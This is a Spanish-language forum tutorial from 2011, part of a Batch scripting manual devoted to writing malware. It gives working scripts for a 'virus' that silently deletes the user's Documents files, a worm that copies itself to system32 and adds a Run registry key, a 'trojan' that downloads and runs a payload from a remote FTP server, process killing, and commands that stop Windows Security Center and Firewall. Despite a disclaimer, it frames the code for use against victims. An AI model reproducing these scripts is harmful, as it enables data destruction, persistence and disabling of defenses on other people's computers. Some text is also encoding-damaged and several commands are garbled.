Manual Batch (Nivel Medio 2da) By 2Fac3R
Publicado: 03 Jul 2011, 00:27
PARTE DEDICADA AL MALWARE!
Hola compa�eros foreros, recordarque esta es la segunda parte del Manual Batch (Nivel Medio) By 2Fac3R/RocKeG, y esta parte esta dedicada a los Malwares, esta ser� la parte mas extensa del manual asi que preparence, los temas que veremos aqu� ser�n, Bucle, Virus, Worms, ProcessKiller, AvKiller y Troyanos, tambi�n mencionar que no me hago responsable de el mal uso del que le den a esta informaci�n, �nicamente lo hago con el fin de que aprendan a hacer sus programas en Batch, sin mas hire por el orden mencionado asi que manos a la obra!!!:
Ya hab�a mencionado lo de los Bucles, y se los hab�a dejado a su b�squeda, ahora veremos varias formas de hacer un Bucle, vamos a un ejemplo sencillo de un Bucle infinito:
Código: Seleccionar todo
@echo off
:inicio
Start www.hackxcrack.es
Goto :inicio
Exit
Código: Seleccionar todo
@echo off
:inicio
Start /min www.hackxcrack.es
Start/min www.masters-hackers.info
Start/min www.foro.el-hacker.com
Start/min www.i-hacker.info
Start
Goto:inicio
exit
-Mmm� con �Del�?-
Exacto! Entonces vamos a codear, bien �Qu� queremos que haga nuestro Virus?, mmm� pues empezare con un simple virus que destruya todos los archivos de la carpeta �Mis documentos�, para ello es necesario conocer las variables de entorno para este caso vamos a usar una que llevamos usando.
Exacto!, vamos al code.�Ahh ya s�! %homepath%-
Código: Seleccionar todo
@echo off
Del %homepath%\Mis documentos\*.*
Exit
Antes decirte que este code para ser Virus pues no nos funcionaria porque pide confirmaci�n para que elimine los archivos y l�gicamente la victima no lo ejecutara, entonces para que nos funcione vamos a usar algo mas reforzado, usaremos el comando �attrib� y los par�metros de �del�, vamos a cmd y tecleamos �del /?� (sin comillas) y veamos que nos sale�:
Código: Seleccionar todo
Elimina uno o mas archivos.
DEL [/P] [/F] [/S] [/Q] [/A[[:]atributos]] nombres
ERASE [/P] [/F] [/S] [/Q] [/A[[:]atributos]] nombres
nombres Especifica una lista de uno o m s archivos o directorios.
Se puede utilizar comodines para eliminar varios archivos.
Si se especifica un directorio todos sus archivos se eliminar n.
/P Pide confirmaci�n antes de eliminar cada archivo.
/F Fuerza la eliminaci�n de archivos de s�lo lectura.
/S Elimina archivos especificados en todos los subdirectorios.
/Q Modo silencioso. No pide confirmaci�n con comod�n global
/A Selecciona los archivos que se van a eliminar bas ndose en los
atributos
atributos R Archivos de s�lo lectura S Archivos de sistema
H Archivos ocultos A Archivos preparados para
almacenamiento
- Prefijo de exclusi�n
Si las extensiones de comando est n activadas DEL y ERASE cambian de la siguiente manera:
La sem ntica que se muestra para el modificador /S est invertida de tal modo
que le muestra solamente los archivos eliminados y no los que no se encontraron.
-�Entonces como quedar�a el code?-
Pues el code quedar�a asi:
Código: Seleccionar todo
@echo off
Attrib �r �a � s �h �%homepath%\Mis documentos\*.*
Del /p /q /s �%homepath%\Mis documentos\*.*
Exit
Pues ya ves que no :p, entonces ese seria el code, no lo ejecuten en su maquina a menos que tengan una maquina virtual para este tipo de pruebas, si eres mas avanzado quiz�s pienses:Ohh crei que se te hab�a olvidado lo del comando Attrib que mencionaste que usar�amos pero ahora veo que no -
Claro!, creo que tienes algo de raz�n pero como he dicho a lo largo de estos manuales que lo dejare a tu b�squeda, pero no te preocupes va a llegar alg�n momento en donde explique el comando, todo a su tiempo :p. Antes de continuar lo dejo a su imaginaci�n �que borran� con su peque�o virus en Batch, recuerden que sabiendo como funka una pc podr�n borrar ciertos archivos y dejarla inservible (para algunas victimas, otras no son tan tontas y pueden recuperarse bajo este tipo de �ataques�, pero pues son menos que las que no ) , bien sigamos con lo que nos interesa, ahora les mencionare �como� hacer un worm, ya hab�amos hecho uno en el primer manual, pero era muy simple para que nos interesara al 100, pues ahora voy a suponer que tienes tu �virus� y lo quieres propagar (o saber como se propaga con Batch ) , lo que vamos a hacer con nuestro virus es copiarlo a la carpeta �system32� y agregarlo al registro para que se inicie con Windows ?, quiz� esto te suene a Chino, pero es aqu� donde se va a alargar este tuto, voy a explicar el uso del registro (brevemente, ya sabes, si quieres algo mas complejo busca por Google|Altavista|Yahoo o el que desees), tambi�n explicare el uso del For-Que le pasa a este man, porque no usa for y se deja de escribir tanto c�digo-
Y varias cosillas mas, bueno primero les mostrare el code e ire explic�ndolo:-Por fin!!!, el famoso for!-
Código: Seleccionar todo
@echo off
REG ADD
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v VIRUS.bat /t REG_SZ /d "%WINDIR%\14785\SYSTEMSHELL.exe" /f
Copy %0 %windir%\system32
Exit
Código: Seleccionar todo
@echo off
Tskill 1716
Exit
Claro esto es muy f�cil, lo �nico que tienes que hacer es poner el nombre del proceso a eliminar.Como pero asi de f�cil?-
�Pero como le hago si quiero eliminar otro proceso?, explicame otro ejemplo para tenerlo mas claro, adem�s no entend� porque ese numero -
Bien, te explicare otro, abre la calculadora del Windows.
Inicio --> Todos los programas --> accesorios --> calculadora :D
Ahora ve al cmd (inicio --> ejecutar --> cmd ? enter) y teclea �tasklist�
Te ha salido una lista de los procesos que se est�n ejecutando en este momento, pues busca ahora el de la calculadora, Deberias haber encontrado un proceso llamado �calc.exe� con un pid de 544, pues adivina� Ese es el nombre que vamos a poner despu�s de tskill, vamos al code:
Código: Seleccionar todo
@echo off
Tskill 544
Exit
VAMOS A CREAR UN TROYANO EN BATCH!!!
Bien empezare por explicarles el code que es este:
Código: Seleccionar todo
@echo off
Echo USER>Troj.tmp
Echo PASWORD>>Trojan.tmp
Echo get Virus.bat>>Trojan.tmp
Echo bye>>trojan.tmp
Echo quit>>trojan.tmp
Start �s:Trojan.tmp Servidor de FTP
Del /f /s /q Trojan.tmp
Start/min Virus.bat
Copy % %windir%\system32
Exit
No recuerda que no soy adivino xD. Bien ahora tecleamos nuestro servidor ftp, en mi caso es [Enlace externo eliminado para invitados] :D, aprovecho para invitarlos a mi web. Ok sin mas vamos a la practica tecleamos �open [url=http://www.elanime.do.am�]www.elanime.do.am�[/url] (recuerda que debes sustituir por el nombre de tu servidor de ftp) y nos saldr� esto:
Ahora debemos poner el nombre de nuestro usuario y contrase�a, y nos saldr� esto:
Bien ahora estamos adentro de nuestro servidor ftp, vamos a hacer algo, subiremos y descargaremos archivos. Vamos al put , get y �dir�,
-Pero que has dicho? �Dir� es un comando del batch no?-
Claro veo que has estudiado por tu cuenta, recuerda que este manual es solo un peque�o �amigo� para aprender cosas que en otros manuales no he visto :D, bien sin mas vamos al ejemplo, vamos a hacer un dir. Vamos teclea �dir�
El dir nos listara los archivos que tenemos en nuestro ftp, y vemos varios archivo voy a bajar en especifico 1 y subir� un archivo de �prueba.txt�, basta de teor�a y vamos al ejemplo:
Como ven si le damos enter nos descargara el archivo mencionado, que es �libro3.jpeg� que en este caso es una imagen del 3er libro del Avatar xD (el libro fuego),
Este es el resultado que tienes que tener, ahora vamos a ver si nos la ha descargado en realidad:
xD disculpen que este tan distorsionada pero era para que se entendiera el ejemplo xD, sigamos, ahora vamos a subir un archivo, vamos a la cmd de nuevo, y tecleamos �put prueba.txt� (recuerda que yo subir� este archivo que esta en %homepath%
-�Por qu� ah�?-
Pues si te haz fijado en la primera imagen, al iniciar la cmd me aparece esa ruta por defecto, pondr� la imagen nuevamente :
Vemos, que nos aparece en donde dije, esto puede varias depende de la configuraci�n de la pc, asi que no te asusten ni pienses que no te funcionara si no tienes esta ruta :D, bien vamos a continuar.
Bien, se supone que haz intentado teclear �put prueba.txt� que en mi caso tiene que estar en %homepath% osea en la carpeta del usuario (si no entiendes esto del %homepath% leete las partes anteriores del manual).
Vamos a la imagen para que vean que funciona :D
Bien funciono, ahora vamos a hacer un dir para verificar que este ah� :D.
Aqu� estamos viendo el archivo �prueba.txt� (a la derechar) subido correctamente y lo dem�s que esta subrayado son los informe del archivo subido, ok ya entendido todo esto sabemos como funciona el servidor FTP y hemos hecho una prueba de subir y bajar archivos. Ahora vamos a transformarlo a batch y no solo en cmd, vamos a nuestro code de ejemplo el cual sube el prueba.txt y baja �libro3.jpeg�.
Código: Seleccionar todo
@echo off
Echo USUARIO>trojan.tmp
Echo PASSWORD>>trojan.tmp
Echo put prueba.txt>>trojan.tmp
Echo get libro3.jpeg>>trojan.tmp
Echo bye>>trojan.tmp
Echo exit>>trojan.tmp
ftp-s:trojan.tmp www.elanime.do.am
exit
Código: Seleccionar todo
@echo off
Net Stop �Centro de Seguridad�
Net Stop �Firewall de Windows/Conexi�n compartida a Internet (ICS)�
Exit
Entonces lo dejo a su imaginaci�n, recuerden lo que hemos visto en esta parte, worm, virus, bucles, AvKiller, etc. Y si le hechan imaginaci�n seguro podras sacar sin problemas al firewall y al AV para poder meter nuestro peque�o �amiguito� (supongo que sabes a que me refiero no ;D.
Me despido
2Fac3R
PDF:
DESCARGAR -->[Enlace externo eliminado para invitados]